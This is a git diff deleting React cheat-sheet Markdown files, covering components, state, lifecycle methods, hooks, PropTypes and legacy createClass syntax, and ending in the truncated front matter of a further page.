-See: [Error handling in React 16](https://reactjs.org/blog/2017/07/26/error-handling-in-react-16.html)
-
-#### Portals
-
-```js
-render () {
-  return React.createPortal(
-    this.props.children,
-    document.getElementById('menu')
-  )
-}
-```
-
-{: data-line="2,3,4,5"}
-
-This renders `this.props.children` into any location in the DOM.
-
-See: [Portals](https://reactjs.org/docs/portals.html)
-
-#### Hydration
-
-```js
-const el = document.getElementById('app');
-ReactDOM.hydrate(<App />, el);
-```
-
-{: data-line="2"}
-
-Use `ReactDOM.hydrate` instead of using `ReactDOM.render` if you're rendering over the output of [ReactDOMServer](https://reactjs.org/docs/react-dom-server.html).
-
-See: [Hydrate](https://reactjs.org/docs/react-dom.html#hydrate)
-
-### Property validation
-
-#### PropTypes
-
-```js
-import PropTypes from 'prop-types';
-```
-
-{: .-setup}
-
-See: [Typechecking with PropTypes](https://reactjs.org/docs/typechecking-with-proptypes.html)
-
-\| `any` | Anything |
-
-**Basic**
-
-\| `string` | | | `number` | | | `func` | Function | | `bool` | True or false |
-
-**Enum**
-
-\| `oneOf`_(any)_ | Enum types | | `oneOfType`_(type array)_ | Union |
-
-**Array**
-
-\| `array` | | | `arrayOf`_(...)_ | |
-
-**Object**
-
-\| `object` | | | `objectOf`_(...)_ | Object with values of a certain type | | `instanceOf`_(...)_ | Instance of a class | | `shape`_(...)_ | |
-
-**Elements**
-
-\| `element` | React element | | `node` | DOM node |
-
-**Required**
-
-\| `(···).isRequired` | Required |
-
-#### Basic types
-
-```jsx
-MyComponent.propTypes = {
-    email: PropTypes.string,
-    seats: PropTypes.number,
-    callback: PropTypes.func,
-    isClosed: PropTypes.bool,
-    any: PropTypes.any
-};
-```
-
-#### Required types
-
-```jsx
-MyCo.propTypes = {
-    name: PropTypes.string.isRequired
-};
-```
-
-#### Elements
-
-```jsx
-MyCo.propTypes = {
-    // React element
-    element: PropTypes.element,
-
-    // num, string, element, or an array of those
-    node: PropTypes.node
-};
-```
-
-#### Enumerables (oneOf)
-
-```jsx
-MyCo.propTypes = {
-    direction: PropTypes.oneOf(['left', 'right'])
-};
-```
-
-#### Arrays and objects
-
-```jsx
-MyCo.propTypes = {
-    list: PropTypes.array,
-    ages: PropTypes.arrayOf(PropTypes.number),
-    user: PropTypes.object,
-    user: PropTypes.objectOf(PropTypes.number),
-    message: PropTypes.instanceOf(Message)
-};
-```
-
-```jsx
-MyCo.propTypes = {
-    user: PropTypes.shape({
-        name: PropTypes.string,
-        age: PropTypes.number
-    })
-};
-```
-
-Use `.array[Of]`, `.object[Of]`, `.instanceOf`, `.shape`.
-
-#### Custom validation
-
-```jsx
-MyCo.propTypes = {
-    customProp: (props, key, componentName) => {
-        if (!/matchme/.test(props[key])) {
-            return new Error('Validation failed!');
-        }
-    }
-};
-```
-
-### Also see
-
--   [React website](https://reactjs.org) _(reactjs.org)_
--   [React cheatsheet](https://reactcheatsheet.com) _(reactcheatsheet.com)_
--   [Awesome React](https://github.com/enaqx/awesome-react) _(github.com)_
--   React v0.14 cheatsheet _Legacy version_
diff --git a/docs/content/cheat-sheets/react.js-v0.14.md b/docs/content/cheat-sheets/react.js-v0.14.md
deleted file mode 100644
index d22b1e4121..0000000000
--- a/docs/content/cheat-sheets/react.js-v0.14.md
+++ /dev/null
@@ -1,433 +0,0 @@
-# React.js (v0.14)
-
-#### Components
-
-```js
-var Component = React.createClass({
-    render: function () {
-        return <div>Hello {this.props.name}</div>;
-    }
-});
-```
-
-```js
-ReactDOM.render(<Component name="John" />, document.body);
-```
-
-{:.light}
-
-Use the [React.js jsfiddle](http://jsfiddle.net/reactjs/69z2wepo/) to start hacking. (or the unofficial [jsbin](http://jsbin.com/yafixat/edit?js,output))
-
-#### Nesting
-
-```js
-var UserAvatar  = React.createClass({...});
-var UserProfile = React.createClass({...});
-```
-
-{:.light}
-
-```js
-var Info = React.createClass({
-    render() {
-        return (
-            <div>
-                <UserAvatar src={this.props.avatar} />
-                <UserProfile username={this.props.username} />
-            </div>
-        );
-    }
-});
-```
-
-Nest components to separate concerns. See [multiple components](http://facebook.github.io/react/docs/multiple-components.html).
-
-### States & Properties
-
-{:.center}
-
-#### States and props
-
-```html
-<MyComponent fullscreen="{true}" />
-```
-
-{:.light}
-
-```js
-// props
-  this.props.fullscreen //=> true
-
-// state
-  this.setState({ username: 'rstacruz' });
-  this.replaceState({ ... });
-  this.state.username //=> 'rstacruz'
-```
-
-```js
-render: function () {
-  return <div className={this.props.fullscreen ? 'full' : ''}>
-    Welcome, {this.state.username}
-  </div>;
-}
-```
-
-Use [props](https://facebook.github.io/react/docs/tutorial.html#using-props) (`this.props`) to access parameters passed from the parent. Use [states](https://facebook.github.io/react/docs/tutorial.html#reactive-state) (`this.state`) to manage dynamic data.
-
-#### Setting defaults
-
-```js
-React.createClass({
-  getInitialState: function () {
-    return { comments: [] };
-  },
-
-  getDefaultProps: function () {
-    return { name: "Hello" };
-  }
-);
-```
-
-Pre-populates `this.state.comments` and `this.props.name`.
-
-### Components
-
-#### Component API
-
-```js
-ReactDOM.findDOMNode(c); // 0.14+
-React.findDOMNode(c); // 0.13
-c.getDOMNode(); // 0.12 below
-```
-
-{:.light}
-
-```js
-c.forceUpdate()
-c.isMounted()
-
-c.state
-c.props
-
-c.setState({ ... })
-c.replaceState({ ... })
-
-c.setProps({ ... })       // for deprecation
-c.replaceProps({ ... })   // for deprecation
-
-c.refs
-```
-
-These are methods available for `Component` instances. See [Component API](http://facebook.github.io/react/docs/component-api.html).
-
-#### Component specs
-
-| Method                                                                                           | What                                    |
-| ------------------------------------------------------------------------------------------------ | --------------------------------------- |
-| [`render()`](http://facebook.github.io/react/docs/component-specs.html#render)                   |                                         |
-| ----                                                                                             | ----                                    |
-| [`getInitialState()`](http://facebook.github.io/react/docs/component-specs.html#getinitialstate) |                                         |
-| [`getDefaultProps()`](http://facebook.github.io/react/docs/component-specs.html#getdefaultprops) |                                         |
-| ----                                                                                             | ----                                    |
-| [`mixins: [ ... ]`](http://facebook.github.io/react/docs/component-specs.html#mixins)            | Mixins ... [more](broken-reference)     |
-| [`propTypes: { ... }`](http://facebook.github.io/react/docs/component-specs.html#proptypes)      | Validation ... [more](broken-reference) |
-| [`statics: { ... }`](http://facebook.github.io/react/docs/component-specs.html#statics)          | Static methods                          |
-| [`displayName: "..."`](http://facebook.github.io/react/docs/component-specs.html#displayname)    | Automatically filled by JSX             |
-| {:.greycode.no-head}                                                                             |                                         |
-
-Methods and properties you can override. See [component specs](http://facebook.github.io/react/docs/component-specs.html).
-
-### Lifecycle
-
-#### Mounting
-
-\| `componentWillMount()` | Before rendering (no DOM yet) | | `componentDidMount()` | After rendering | {:.greycode.no-head.lc}
-
-Before initial rendering occurs. Add your DOM stuff on didMount (events, timers, etc). See [reference](http://facebook.github.io/react/docs/component-specs.html#mounting-componentwillmount).
-
-#### Updating
-
-\| `componentWillReceiveProps`_(newProps={})_ | Use `setState()` here | | `shouldComponentUpdate`_(newProps={}, newState={})_ | Skips `render()` if returns false | | `componentWillUpdate`_(newProps={}, newState={})_ | Can't use `setState()` here | | `componentDidUpdate`_(prevProps={}, prevState={})_ | Operate on the DOM here | {:.greycode.no-head.lc}
-
-Called when parents change properties and `.setState()`. These are not called for initial renders. See [reference](http://facebook.github.io/react/docs/component-specs.html#updating-componentwillreceiveprops).
-
-#### Unmounting
-
-\| `componentWillUnmount()` | Invoked before DOM removal | {:.greycode.no-head.lc}
-
-Clear your DOM stuff here (probably done on didMount). See [reference](http://facebook.github.io/react/docs/component-specs.html#unmounting-componentwillunmount).
-
-### Examples
-
-#### Example: loading data
-
-```js
-React.createClass({
-    componentDidMount: function () {
-        $.get(
-            this.props.url,
-            function (data) {
-                this.setState(data);
-            }.bind(this)
-        );
-    },
-
-    render: function () {
-        return <CommentList data={this.state.data} />;
-    }
-});
-```
-
-See [initial AJAX data](http://facebook.github.io/react/tips/initial-ajax.html).
-
-### DOM nodes
-
-#### References
-
-```html
-<input ref="myInput" />
-```
-
-{:.light}
-
-```js
-this.refs.myInput;
-ReactDOM.findDOMNode(this.refs.myInput).focus();
-ReactDOM.findDOMNode(this.refs.myInput).value;
-```
-
-#### DOM Events
-
-Add attributes like `onChange`. See [events](https://facebook.github.io/react/docs/events.html).
-
-```html
-<input type="text" value="{this.state.value}" onChange="{this.handleChange}" />
-```
-
-{:.light}
-
-```js
-handleChange: function(event) {
-  this.setState({ value: event.target.value });
-}
-```
-
-Allows access to DOM nodes. See [References](http://facebook.github.io/react/docs/more-about-refs.html).
-
-#### Two-way binding
-
-```html
-Email: <input type="text" valueLink={this.linkState('email')} />
-```
-
-{:.light}
-
-```js
-React.createClass({
-    mixins: [React.addons.LinkedStateMixin]
-});
-```
-
-```js
-this.state.email;
-```
-
-Use [LinkedStateMixin](http://facebook.github.io/react/docs/two-way-binding-helpers.html) for easier two-way binding.
-
-### Property validation
-
-#### Basic types
-
-```js
-React.createClass({
-    propTypes: {
-        email: React.PropTypes.string,
-        seats: React.PropTypes.number,
-        settings: React.PropTypes.object,
-        callback: React.PropTypes.func,
-        isClosed: React.PropTypes.bool,
-        any: React.PropTypes.any
-    }
-});
-```
-
-Primitive types: `.string`, `.number`, `.func`, and `.bool`. See [propTypes](http://facebook.github.io/react/docs/reusable-components.html#prop-validation).
-
-#### Required types
-
-```js
-propTypes: {
-  requiredFunc:  React.PropTypes.func.isRequired,
-  requiredAny:   React.PropTypes.any.isRequired,
-```
-
-Add `.isRequired`.
-
-#### React elements
-
-```js
-propTypes: {
-  element:  React.PropTypes.element,  // react element
-  node:     React.PropTypes.node,     // num, string, element
-                                      // ...or array of those
-```
-
-Use `.element`, `.node`.
-
-#### Enumerables
-
-```
-propTypes: {
-  enum:     React.PropTypes.oneOf(['M','F']),  // enum
-  union:    React.PropTypes.oneOfType([        // any
-              React.PropTypes.string,
-              React.PropTypes.number ]),
-```
-
-Use `.oneOf`, `.oneOfType`.
-
-#### Arrays and objects
-
-```js
-propTypes: {
-  array:    React.PropTypes.array,
-  arrayOf:  React.PropTypes.arrayOf(React.PropTypes.number),
-  object:   React.PropTypes.object,
-  objectOf: React.PropTypes.objectOf(React.PropTypes.number),
-
-  message:  React.PropTypes.instanceOf(Message),
-
-  object2:  React.PropTypes.shape({
-    color:  React.PropTypes.string,
-    size:   React.PropTypes.number
-  }),
-```
-
-Use `.array[Of]`, `.object[Of]`, `.instanceOf`, `.shape`.
-
-#### Custom validation
-
-```js
-propTypes: {
-  customProp: function(props, propName, componentName) {
-    if (!/matchme/.test(props[propName])) {
-      return new Error('Validation failed!');
-    }
-  }
-}
-```
-
-Supply your own function.
-
-### Other features
-
-#### Class set
-
-```js
-var cx = require('classnames');
-
-render: function() {
-  var classes = cx({
-    'message': true,
-    'message-important': this.props.isImportant,
-    'message-read': this.props.isRead
-  });
-
-  return <div className={classes}>Great Scott!</div>;
-}
-```
-
-Manipulate DOM classes with [classnames](https://www.npmjs.org/package/classnames), previously known as `React.addons.classSet`. See [Class set](http://facebook.github.io/react/docs/class-name-manipulation.html).
-
-#### Propagating properties
-
-```html
-<VideoPlayer src="video.mp4" />
-```
-
-{:.light}
-
-```js
-var VideoPlayer = React.createClass({
-    render: function () {
-        /* propagates src="..." down to this sub component */
-        return <VideoEmbed {...this.props} controls="false" />;
-    }
-});
-```
-
-See [Transferring props](http://facebook.github.io/react/docs/transferring-props.html).
-
-#### Mixins
-
-```js
-var SetIntervalMixin = {
-  componentWillMount: function() { .. }
-}
-```
-
-{:.light}
-
-```js
-var TickTock = React.createClass({
-  mixins: [SetIntervalMixin]
-}
-```
-
-See [addons](https://facebook.github.io/react/docs/addons.html) for some built-in mixins.
-
-### [Top level API](https://facebook.github.io/react/docs/top-level-api.html)
-
-```js
-React.createClass({ ... })
-
-React.isValidElement(c)
-
-ReactDOM.findDOMNode(c) // 0.14+
-ReactDOM.render(<Component />, domnode, [callback]) // 0.14+
-ReactDOM.unmountComponentAtNode(domnode) // 0.14+
-
-ReactDOMServer.renderToString(<Component />) // 0.14+
-ReactDOMServer.renderToStaticMarkup(<Component />) // 0.14+
-```
-
-### JSX patterns
-
-#### Style shorthand
-
-```js
-var style = { backgroundImage: 'url(x.jpg)', height: 10 };
-return <div style={style}></div>;
-```
-
-See [inline styles](https://facebook.github.io/react/tips/inline-styles.html).
-
-#### InnerHTML
-
----
-
-```js
-function markdownify() {
-    return '<p>...</p>';
-}
-<div dangerouslySetInnerHTML={{ __html: markdownify() }} />;
-```
-
-See [dangerously set innerHTML](https://facebook.github.io/react/tips/dangerously-set-inner-html.html).
-
-#### Lists
-
-```js
-var TodoList = React.createClass({
-    render: function () {
-        function item(itemText) {
-            return <li>{itemText}</li>;
-        }
-        return <ul>{this.props.items.map(item)}</ul>;
-    }
-});
-```
-
-### See also
-
--   [Animations](http://facebook.github.io/react/docs/animation.html)
diff --git a/docs/content/cheat-sheets/react.js.md b/docs/content/cheat-sheets/react.js.md
deleted file mode 100644
index 467f6d86a4..0000000000
--- a/docs/content/cheat-sheets/react.js.md
+++ /dev/null
@@ -1,790 +0,0 @@
-# React.js
-
-### Components
-
-#### Components
-
-```
-import React from 'react'
-```
-
-```jsx
-import ReactDOM from 'react-dom';
-```
-
-```
-class Hello extends React.Component {
-```
-
-```jsx
-
-
-  render () {
-    return <div className='message-box'>
-      Hello {this.props.name}
-    </div>
-  }
-}
-```
-
-```jsx
-const el = document.body;
-ReactDOM.render(<Hello name="John" />, el);
-```
-
-Use the [React.js jsfiddle](http://jsfiddle.net/reactjs/69z2wepo/) to start hacking. (or the unofficial [jsbin](http://jsbin.com/yafixat/edit?js,output))
-
-#### Import multiple exports
-
-```jsx
-import React, { Component } from 'react';
-import ReactDOM from 'react-dom';
-```
-
-```
-class Hello extends Component {
-```
-
-```jsx
-
-
-  ...
-}
-```
-
-#### Properties
-
-```html
-<video fullscreen="{true}" autoplay="{false}" />
-```
-
-{: .-setup}
-
-```jsx
-
-
-render () {
-  this.props.fullscreen
-  const { fullscreen, autoplay } = this.props
-  ···
-}
-```
-
-Use `this.props` to access properties passed to the component.
-
-See: [Properties](https://reactjs.org/docs/tutorial.html#using-props)
-
-#### States
-
-```jsx
-
-
-constructor(props) {
-  super(props)
-  this.state = { username: undefined }
-}
-```
-
-```jsx
-this.setState({ username: 'rstacruz' });
-```
-
-```jsx
-
-
-render () {
-  this.state.username
-  const { username } = this.state
-  ···
-}
-```
-
-Use states (`this.state`) to manage dynamic data.
-
-With [Babel](https://babeljs.io) you can use [proposal-class-fields](https://github.com/tc39/proposal-class-fields) and get rid of constructor
-
-```jsx
-
-
-class Hello extends Component {
-  state = { username: undefined };
-  ...
-}
-```
-
-See: [States](https://reactjs.org/docs/tutorial.html#reactive-state)
-
-#### Nesting
-
-```jsx
-class Info extends Component {
-    render() {
-        const { avatar, username } = this.props;
-
-        return (
-            <div>
-                <UserAvatar src={avatar} />
-                <UserProfile username={username} />
-            </div>
-        );
-    }
-}
-```
-
-As of React v16.2.0, fragments can be used to return multiple children without adding extra wrapping nodes to the DOM.
-
-```jsx
-import React, { Component, Fragment } from 'react';
-
-class Info extends Component {
-    render() {
-        const { avatar, username } = this.props;
-
-        return (
-            <Fragment>
-                <UserAvatar src={avatar} />
-                <UserProfile username={username} />
-            </Fragment>
-        );
-    }
-}
-```
-
-Nest components to separate concerns.
-
-See: [Composing Components](https://reactjs.org/docs/components-and-props.html#composing-components)
-
-#### Children
-
-```jsx
-<AlertBox>
-    <h1>You have pending notifications</h1>
-</AlertBox>
-```
-
-{: data-line="2"}
-
-```jsx
-class AlertBox extends Component {
-    render() {
-        return <div className="alert-box">{this.props.children}</div>;
-    }
-}
-```
-
-Children are passed as the `children` property.
-
-### Defaults
-
-#### Setting default props
-
-```jsx
-Hello.defaultProps = {
-    color: 'blue'
-};
-```
-
-See: [defaultProps](https://reactjs.org/docs/react-component.html#defaultprops)
-
-#### Setting default state
-
-```jsx
-class Hello extends Component {
-    constructor(props) {
-        super(props);
-        this.state = { visible: true };
-    }
-}
-```
-
-{: data-line="4"}
-
-Set the default state in the `constructor()`.
-
-And without constructor using [Babel](https://babeljs.io) with [proposal-class-fields](https://github.com/tc39/proposal-class-fields).
-
-```jsx
-
-
-class Hello extends Component {
-    state = { visible: true }
-  }
-}
-```
-
-See: [Setting the default state](https://reactjs.org/docs/react-without-es6.html#setting-the-initial-state)
-
-### Other components
-
-#### Functional components
-
-```jsx
-function MyComponent({ name }) {
-    return <div className="message-box">Hello {name}</div>;
-}
-```
-
-Functional components have no state. Also, their `props` are passed as the first parameter to a function.
-
-See: [Function and Class Components](https://reactjs.org/docs/components-and-props.html#functional-and-class-components)
-
-#### Pure components
-
-```jsx
-
-
-import React, {PureComponent} from 'react'
-
-class MessageBox extends PureComponent {
-  ···
-}
-```
-
-Performance-optimized version of `React.Component`. Doesn't rerender if props/state hasn't changed.
-
-See: [Pure components](https://reactjs.org/docs/react-api.html#react.purecomponent)
-
-#### Component API
-
-```jsx
-this.forceUpdate();
-```
-
-```jsx
-
-
-this.setState({ ... })
-this.setState(state => { ... })
-```
-
-```jsx
-this.state;
-this.props;
-```
-
-These methods and properties are available for `Component` instances.
-
-See: [Component API](http://facebook.github.io/react/docs/component-api.html)
-
-### Lifecycle
-
-#### Mounting
-
-| Method                   | Description                                                                                          |
-| ------------------------ | ---------------------------------------------------------------------------------------------------- |
-| `constructor` _(props)_  | Before rendering [#](https://reactjs.org/docs/react-component.html#constructor)                      |
-| `componentWillMount()`   | _Don't use this_ [#](https://reactjs.org/docs/react-component.html#componentwillmount)               |
-| `render()`               | Render [#](https://reactjs.org/docs/react-component.html#render)                                     |
-| `componentDidMount()`    | After rendering (DOM available) [#](https://reactjs.org/docs/react-component.html#componentdidmount) |
-| ---                      | ---                                                                                                  |
-| `componentWillUnmount()` | Before DOM removal [#](https://reactjs.org/docs/react-component.html#componentwillunmount)           |
-| ---                      | ---                                                                                                  |
-| `componentDidCatch()`    | Catch errors (16+) [#](https://reactjs.org/blog/2017/07/26/error-handling-in-react-16.html)          |
-
-Set initial the state on `constructor()`. Add DOM event handlers, timers (etc) on `componentDidMount()`, then remove them on `componentWillUnmount()`.
-
-#### Updating
-
-| Method                                                  | Description                                          |
-| ------------------------------------------------------- | ---------------------------------------------------- |
-| `componentDidUpdate` _(prevProps, prevState, snapshot)_ | Use `setState()` here, but remember to compare props |
-| `shouldComponentUpdate` _(newProps, newState)_          | Skips `render()` if returns false                    |
-| `render()`                                              | Render                                               |
-| `componentDidUpdate` _(prevProps, prevState)_           | Operate on the DOM here                              |
-
-Called when parents change properties and `.setState()`. These are not called for initial renders.
-
-See: [Component specs](http://facebook.github.io/react/docs/component-specs.html#updating-componentwillreceiveprops)
-
-### Hooks (New)
-
-{: .-two-column}
-
-#### State Hook
-
-```jsx
-import React, { useState } from 'react';
-
-function Example() {
-    // Declare a new state variable, which we'll call "count"
-    const [count, setCount] = useState(0);
-
-    return (
-        <div>
-            <p>You clicked {count} times</p>
-            <button onClick={() => setCount(count + 1)}>Click me</button>
-        </div>
-    );
-}
-```
-
-Hooks are a new addition in React 16.8.
-
-See: [Hooks at a Glance](https://reactjs.org/docs/hooks-overview.html)
-
-#### Declaring multiple state variables
-
-```jsx
-function ExampleWithManyStates() {
-    // Declare multiple state variables!
-    const [age, setAge] = useState(42);
-    const [fruit, setFruit] = useState('banana');
-    const [todos, setTodos] = useState([{ text: 'Learn Hooks' }]);
-    // ...
-}
-```
-
-#### Effect hook
-
-```jsx
-import React, { useState, useEffect } from 'react';
-
-function Example() {
-    const [count, setCount] = useState(0);
-
-    // Similar to componentDidMount and componentDidUpdate:
-    useEffect(() => {
-        // Update the document title using the browser API
-        document.title = `You clicked ${count} times`;
-    }, [count]);
-
-    return (
-        <div>
-            <p>You clicked {count} times</p>
-            <button onClick={() => setCount(count + 1)}>Click me</button>
-        </div>
-    );
-}
-```
-
-If you're familiar with React class lifecycle methods, you can think of `useEffect` Hook as `componentDidMount`, `componentDidUpdate`, and `componentWillUnmount` combined.
-
-By default, React runs the effects after every render — including the first render.
-
-#### Building your own hooks
-
-**Define FriendStatus**
-
-```jsx
-import React, { useState, useEffect } from 'react';
-
-function FriendStatus(props) {
-    const [isOnline, setIsOnline] = useState(null);
-
-    useEffect(() => {
-        function handleStatusChange(status) {
-            setIsOnline(status.isOnline);
-        }
-
-        ChatAPI.subscribeToFriendStatus(props.friend.id, handleStatusChange);
-        return () => {
-            ChatAPI.unsubscribeFromFriendStatus(props.friend.id, handleStatusChange);
-        };
-    }, [props.friend.id]);
-
-    if (isOnline === null) {
-        return 'Loading...';
-    }
-    return isOnline ? 'Online' : 'Offline';
-}
-```
-
-Effects may also optionally specify how to "clean up" after them by returning a function.
-
-**Use FriendStatus**
-
-```jsx
-function FriendStatus(props) {
-    const isOnline = useFriendStatus(props.friend.id);
-
-    if (isOnline === null) {
-        return 'Loading...';
-    }
-    return isOnline ? 'Online' : 'Offline';
-}
-```
-
-See: [Building Your Own Hooks](https://reactjs.org/docs/hooks-custom.html)
-
-#### Hooks API Reference
-
-Also see: [Hooks FAQ](https://reactjs.org/docs/hooks-faq.html)
-
-**Basic Hooks**
-
-| Hook                         | Description                               |
-| ---------------------------- | ----------------------------------------- |
-| `useState`_(initialState)_   |                                           |
-| `useEffect`_(() => { ... })_ |                                           |
-| `useContext`_(MyContext)_    | value returned from `React.createContext` |
-
-Full details: [Basic Hooks](https://reactjs.org/docs/hooks-reference.html#basic-hooks)
-
-**Additional Hooks**
-
-| Hook                                        | Description                                                                  |
-| ------------------------------------------- | ---------------------------------------------------------------------------- |
-| `useReducer`_(reducer, initialArg, init)_   |                                                                              |
-| `useCallback`_(() => { ... })_              |                                                                              |
-| `useMemo`_(() => { ... })_                  |                                                                              |
-| `useRef`_(initialValue)_                    |                                                                              |
-| `useImperativeHandle`_(ref, () => { ... })_ |                                                                              |
-| `useLayoutEffect`                           | identical to `useEffect`, but it fires synchronously after all DOM mutations |
-| `useDebugValue`_(value)_                    | display a label for custom hooks in React DevTools                           |
-
-Full details: [Additional Hooks](https://reactjs.org/docs/hooks-reference.html#additional-hooks)
-
-### DOM nodes
-
-#### References
-
-```jsx
-class MyComponent extends Component {
-    render() {
-        return (
-            <div>
-                <input ref={(el) => (this.input = el)} />
-            </div>
-        );
-    }
-
-    componentDidMount() {
-        this.input.focus();
-    }
-}
-```
-
-Allows access to DOM nodes.
-
-See: [Refs and the DOM](https://reactjs.org/docs/refs-and-the-dom.html)
-
-#### DOM Events
-
-```jsx
-class MyComponent extends Component {
-    render() {
-        <input type="text" value={this.state.value} onChange={(event) => this.onChange(event)} />;
-    }
-
-    onChange(event) {
-        this.setState({ value: event.target.value });
-    }
-}
-```
-
-Pass functions to attributes like `onChange`.
-
-See: [Events](https://reactjs.org/docs/events.html)
-
-### Other features
-
-#### Transferring props
-
-```html
-<VideoPlayer src="video.mp4" />
-```
-
-{: .-setup}
-
-```jsx
-class VideoPlayer extends Component {
-    render() {
-        return <VideoEmbed {...this.props} />;
-    }
-}
-```
-
-Propagates `src="..."` down to the sub-component.
-
-See [Transferring props](http://facebook.github.io/react/docs/transferring-props.html)
-
-#### Top-level API
-
-```jsx
-
-
-React.createClass({ ... })
-React.isValidElement(c)
-```
-
-```jsx
-ReactDOM.render(<Component />, domnode, [callback]);
-ReactDOM.unmountComponentAtNode(domnode);
-```
-
-```jsx
-ReactDOMServer.renderToString(<Component />);
-ReactDOMServer.renderToStaticMarkup(<Component />);
-```
-
-There are more, but these are most common.
-
-See: [React top-level API](https://reactjs.org/docs/react-api.html)
-
-### JSX patterns
-
-#### Style shorthand
-
-```jsx
-const style = { height: 10 };
-return <div style={style}></div>;
-```
-
-```jsx
-return <div style={{ margin: 0, padding: 0 }}></div>;
-```
-
-See: [Inline styles](https://reactjs.org/tips/inline-styles.html)
-
-#### Inner HTML
-
-```jsx
-function markdownify() {
-    return '<p>...</p>';
-}
-<div dangerouslySetInnerHTML={{ __html: markdownify() }} />;
-```
-
-See: [Dangerously set innerHTML](https://reactjs.org/tips/dangerously-set-inner-html.html)
-
-#### Lists
-
-```jsx
-class TodoList extends Component {
-    render() {
-        const { items } = this.props;
-
-        return (
-            <ul>
-                {items.map((item) => (
-                    <TodoItem item={item} key={item.key} />
-                ))}
-            </ul>
-        );
-    }
-}
-```
-
-Always supply a `key` property.
-
-#### Conditionals
-
-```jsx
-<Fragment>{showMyComponent ? <MyComponent /> : <OtherComponent />}</Fragment>
-```
-
-#### Short-circuit evaluation
-
-```jsx
-<Fragment>
-    {showPopup && <Popup />}
-    ...
-</Fragment>
-```
-
-### New features
-
-#### Returning multiple elements
-
-You can return multiple elements as arrays or fragments.
-
-**Arrays**
-
-```js
-render () {
-  // Don't forget the keys!
-  return [
-    <li key="A">First item</li>,
-    <li key="B">Second item</li>
-  ]
-}
-```
-
-{: data-line="3,4,5,6"}
-
-**Fragments**
-
-```js
-render () {
-  // Fragments don't require keys!
-  return (
-    <Fragment>
-      <li>First item</li>
-      <li>Second item</li>
-    </Fragment>
-  )
-}
-```
-
-See: [Fragments and strings](https://reactjs.org/blog/2017/09/26/react-v16.0.html#new-render-return-types-fragments-and-strings)
-
-#### Returning strings
-
-```js
-render() {
-  return 'Look ma, no spans!';
-}
-```
-
-You can return just a string.
-
-See: [Fragments and strings](https://reactjs.org/blog/2017/09/26/react-v16.0.html#new-render-return-types-fragments-and-strings)
-
-#### Errors
-
-```js
-class MyComponent extends Component {
-  ···
-  componentDidCatch (error, info) {
-    this.setState({ error })
-  }
-}
-```
-
-Catch errors via `componentDidCatch`. (React 16+)
-
-See: [Error handling in React 16](https://reactjs.org/blog/2017/07/26/error-handling-in-react-16.html)
-
-#### Portals
-
-```js
-render () {
-  return React.createPortal(
-    this.props.children,
-    document.getElementById('menu')
-  )
-}
-```
-
-This renders `this.props.children` into any location in the DOM.
-
-See: [Portals](https://reactjs.org/docs/portals.html)
-
-#### Hydration
-
-```js
-const el = document.getElementById('app');
-ReactDOM.hydrate(<App />, el);
-```
-
-Use `ReactDOM.hydrate` instead of using `ReactDOM.render` if you're rendering over the output of [ReactDOMServer](https://reactjs.org/docs/react-dom-server.html).
-
-See: [Hydrate](https://reactjs.org/docs/react-dom.html#hydrate)
-
-### Property validation
-
-#### PropTypes
-
-```js
-import PropTypes from 'prop-types';
-```
-
-See: [Typechecking with PropTypes](https://reactjs.org/docs/typechecking-with-proptypes.html)
-
-\| `any` | Anything |
-
-**Basic**
-
-\| `string` | | | `number` | | | `func` | Function | | `bool` | True or false |
-
-**Enum**
-
-\| `oneOf`_(any)_ | Enum types | | `oneOfType`_(type array)_ | Union |
-
-**Array**
-
-\| `array` | | | `arrayOf`_(...)_ | |
-
-**Object**
-
-\| `object` | | | `objectOf`_(...)_ | Object with values of a certain type | | `instanceOf`_(...)_ | Instance of a class | | `shape`_(...)_ | |
-
-**Elements**
-
-\| `element` | React element | | `node` | DOM node |
-
-**Required**
-
-\| `(···).isRequired` | Required |
-
-#### Basic types
-
-```jsx
-MyComponent.propTypes = {
-    email: PropTypes.string,
-    seats: PropTypes.number,
-    callback: PropTypes.func,
-    isClosed: PropTypes.bool,
-    any: PropTypes.any
-};
-```
-
-#### Required types
-
-```jsx
-MyCo.propTypes = {
-    name: PropTypes.string.isRequired
-};
-```
-
-#### Elements
-
-```jsx
-MyCo.propTypes = {
-    // React element
-    element: PropTypes.element,
-
-    // num, string, element, or an array of those
-    node: PropTypes.node
-};
-```
-
-#### Enumerables (oneOf)
-
-```jsx
-MyCo.propTypes = {
-    direction: PropTypes.oneOf(['left', 'right'])
-};
-```
-
-#### Arrays and objects
-
-```jsx
-MyCo.propTypes = {
-    list: PropTypes.array,
-    ages: PropTypes.arrayOf(PropTypes.number),
-    user: PropTypes.object,
-    user: PropTypes.objectOf(PropTypes.number),
-    message: PropTypes.instanceOf(Message)
-};
-```
-
-```jsx
-MyCo.propTypes = {
-    user: PropTypes.shape({
-        name: PropTypes.string,
-        age: PropTypes.number
-    })
-};
-```
-
-Use `.array[Of]`, `.object[Of]`, `.instanceOf`, `.shape`.
-
-#### Custom validation
-
-```jsx
-MyCo.propTypes = {
-    customProp: (props, key, componentName) => {
-        if (!/matchme/.test(props[key])) {
-            return new Error('Validation failed!');
-        }
-    }
-};
-```
-
-### Also see
-
--   [React website](https://reactjs.org) _(reactjs.org)_
--   [React cheatsheet](https://reactcheatsheet.com) _(reactcheatsheet.com)_
--   [Awesome React](https://github.com/enaqx/awesome-react) _(github.com)_
--   React v0.14 cheatsheet _Legacy version_
diff --git a/docs/content/cheat-sheets/react.md b/docs/content/cheat-sheets/react.md
deleted file mode 100644
index 779d3f1cc7..0000000000
--- a/docs/content/cheat-sheets/react.md
+++ /dev/null
@@ -1,4515 +0,0 @@
----
-title: React
-subtitle: A cautionary tale about riding
-excerpt: >-
-    A Node.js app runs in a single process, without creating a new thread for every request. Node.js provides a set of asynchronous I/O primitives in its standard library that prevent JavaScript code from blocking and generally, libraries in Node.js are written using non-blocking paradigms, making blocking behavior the exception rather than the norm.
-date: '2021-11-21'
-thumb_img_path: images/3.jpg
-thumb_img_alt: React
-content_img_path: images/3.jpg
-content_img_alt: React
-seo:
-    title: React
-    description: A Node.js app runs in a single process, without creating a new thread for every request. Node.js provides a set of asynchronous I/O primitives in its standard library that prevent JavaScript code from blocking and generally, libraries in Node.js are written using non-blocking paradigms, making blocking behavior the exception rather than the norm.
-    extra:
-        - name: 'og:type'
-          value: article
-          keyName: property
-        - name: 'og:title'
-          value: React
-          keyName: property
-        - name: 'og:description'
-          value: A cautionary tale about riding
-          keyName: property
-        - name: 'og:image'
-          value: images/3.jpg
-          keyName: property
-          relativeUrl: true
-        - name: 'twitter:card'
-          value: summary_large_image
-        - name: 'twitter:title'
